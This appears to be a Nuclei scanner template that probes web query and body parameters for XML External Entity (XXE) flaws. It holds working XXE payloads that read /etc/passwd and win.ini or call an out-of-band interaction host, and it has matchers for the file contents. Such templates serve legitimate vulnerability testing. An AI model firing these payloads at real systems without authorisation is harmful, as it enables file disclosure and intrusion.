id: generic-xxe

info:
  name: Generic XML External Entity - (XXE)
  author: pwnhxl,AmirHossein Raeisi
  severity: medium
  reference:
    - https://github.com/andresriancho/w3af/blob/master/w3af/plugins/audit/xxe.py
  metadata:
    max-request: 2
  tags: dast,xxe,vuln

variables:
  rletter: "{{rand_base(6,'abc')}}"

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'
          - 'method == "POST"'
          - 'method == "PUT"'
    payloads:
      xxe:
        - '<!DOCTYPE {{rletter}} [ <!ENTITY {{rletter}} SYSTEM "file:///c:/windows/win.ini"> ]><x>&{{rletter}};</x>'
        - '<!DOCTYPE {{rletter}} [ <!ENTITY {{rletter}} SYSTEM "file:////etc/passwd"> ]><x>&{{rletter}};</x>'
        - '<!DOCTYPE {{rletter}} [ <!ENTITY {{rletter}} SYSTEM "http://{{interactsh-url}}"> ]><x>&{{rletter}};</x>'

    fuzzing:
      - parts:
          - query
          - body
        keys-regex:
          - "(.*?)xml(.*?)"
        fuzz:
          - "{{xxe}}"

      - parts:
          - query
          - body
        values:
          - "(<!DOCTYPE|<?xml|%3C!DOCTYPE|%3C%3Fxml)(.*?)>"
        fuzz:
          - "{{xxe}}"

    stop-at-first-match: true
    matchers:
      - type: regex
        name: linux
        part: body
        regex:
          - 'root:.*?:[0-9]*:[0-9]*:'

      - type: word
        name: windows
        part: body
        words:
          - 'for 16-bit app support'

      - type: word
        part: interactsh_protocol
        words:
          - "http"
# digest: 4b0a004830460221008e9a08c31786b87fd798a33799dc0a887b3cfa5f1b3f6ec61f9edac8ccd44ff0022100fa1baca43da50ab72185027547e4870b3edf452902225cfcfd0f43b16a4938e4:922c64590222798bb761d5b6d8e72950